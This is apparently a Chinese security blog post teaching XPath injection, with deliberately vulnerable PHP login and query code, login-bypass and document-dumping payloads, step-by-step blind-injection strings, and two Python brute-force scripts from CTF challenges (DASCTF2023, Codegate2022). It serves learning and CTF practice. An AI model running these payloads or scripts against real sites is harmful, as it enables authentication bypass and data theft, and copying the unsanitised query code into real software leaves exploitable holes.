XPATH注入

XPATH注入

XPATH注入学习 - 先知社区 (aliyun.com)

原理

XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据

语法

  • “nodename” – 选取nodename的所有子节点
  • “/nodename” – 从根节点中选择
  • “//nodename” – 从当前节点选择
  • “..” – 选择当前节点的父节点
  • “child::node()” – 选择当前节点的所有子节点
  • “@” -选择属性
  • “//user[position()=2] “ 选择节点位置

常规注入

<?php
if(file_exists('t3stt3st.xml')) {
	$xml = simplexml_load_file('t3stt3st.xml');
	$user=$_GET['user'];
	$query="user/username[@name='".$user."']";
	$ans = $xml->xpath($query);
	foreach($ans as $x => $x_value)
	{
		echo "2";
		echo $x.":  " . $x_value;
		echo "<br />";
	}
}
?>

t3stt3st.xml

<?xml version="1.0" encoding="utf-8"?>
<root1>
	<user>
		<username name='user1'>user1</username>
		<key>KEY:1</key>
		<username name='user2'>user2</username>
		<key>KEY:2</key>
		<username name='user3'>user3</username>
		<key>KEY:3</key>
		<username name='user4'>user4</username>
		<key>KEY:4</key>
		<username name='user5'>user5</username>
		<key>KEY:5</key>
		<username name='user6'>user6</username>
		<key>KEY:6</key>
		<username name='user7'>user7</username>
		<key>KEY:7</key>
		<username name='user8'>user8</username>
		<key>KEY:8</key>
		<username name='user9'>user9</username>
		<key>KEY:9</key>
	</user>
	<hctfadmin>
		<username name='hctf1'>hctf</username>
		<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
	</hctfadmin>
</root1>

测试

'有报错

image-20230918155705893

user1' or 1=1 or ''='

或
user1' or '1'='1

读取当前节点下的所有user

image-20230918155856014

终极payload,获取文档所有节点

']|//*|//*['

登陆绕过

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
    <form method="POST">
        username:
        <input type="text" name="username">
</p>
        password:
        <input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>

</html>
<?php
        if(file_exists('test.xml')){
        $xml=simplexml_load_file('test.xml');
        if($_POST['submit']){
            $username=$_POST['username'];
            $password=$_POST['password'];
            $x_query="/accounts/user[username='{$username}' and password='{$password}']";
            $result = $xml->xpath($x_query);
            if(count($result)==0){
                echo '登录失败';
            }else{
                echo "登录成功";
                $login_user = $result[0]->username;
                echo "you login as $login_user";
            }
        }
    }
?>
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
	<user id="1">
		<username>Twe1ve</username>
		<email>admin@xx.com</email>
		<accounttype>administrator</accounttype>
		<password>P@ssword123</password>
	</user>
	<user id="2">
		<username>test</username>
		<email>tw@xx.com</email>
		<accounttype>normal</accounttype>
		<password>123456</password>
	</user>
</accounts>

用户名:test’ or ‘a’=’a 密码随意

image-20230918160301809

说明在已知用户名的情况下,可以不知道密码进行登录

但是一般管理员的用户名一般不容易知道

我们可以利用一般数据库中默认第一个用户为管理员用户,来进行登录

' or 1=1 or ''='

若管理员不是第一个用户就不行了

image-20230918160713539

image-20230918160730589

盲注

' or 1=1 or ''='

把1=1换成盲注的语句即可

判断顺序

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • …..
  • 重复猜解完所有节点,获取最后的值
'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

根节点下子节点的长度

'or string-length(name(/*[1]))=8 or ''='

爆破

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='
其实后面的大部分都是重复这三步

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/*)=2  or ''='     /accounts下有两个节点

'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称:

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='   /accounts下两个子节点都是user

爆破第一个user节点下的节点(这里省了步骤,反正就是查数量、查长度、爆破三步)

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='
'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='
'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='

MyPicDisk (DASCTF2023 & 0X401 )

Booogipop大佬盲注爆破

import requests
import time
url ='http://1faab4d0-7d84-46a1-b6fb-5dc991bc7f72.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

CodegateCTF2022

读系统配置

1' and starts-with(system-property('flag'), +flag+x ) and'1'='1
import requests
from string import ascii_lowercase, digits

SESSION = {'JSESSIONID':'5D31583806832F60CE7133EEEA94EA6E'}
flag = ''

for i in range(34+len('codegate2022')):
    for x in ascii_lowercase+digits+'{}':
        conn = requests.get('http://url/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27'+flag+x+'%27)%20and%271%27=%271', cookies=SESSION)
        r1 = conn.text
        if 'test' in r1:
            flag += x
            print(flag)
            break

XPATH注入
https://zer0peach.github.io/2023/09/18/XPATH注入/
作者
Zer0peach
发布于
2023年9月18日
许可协议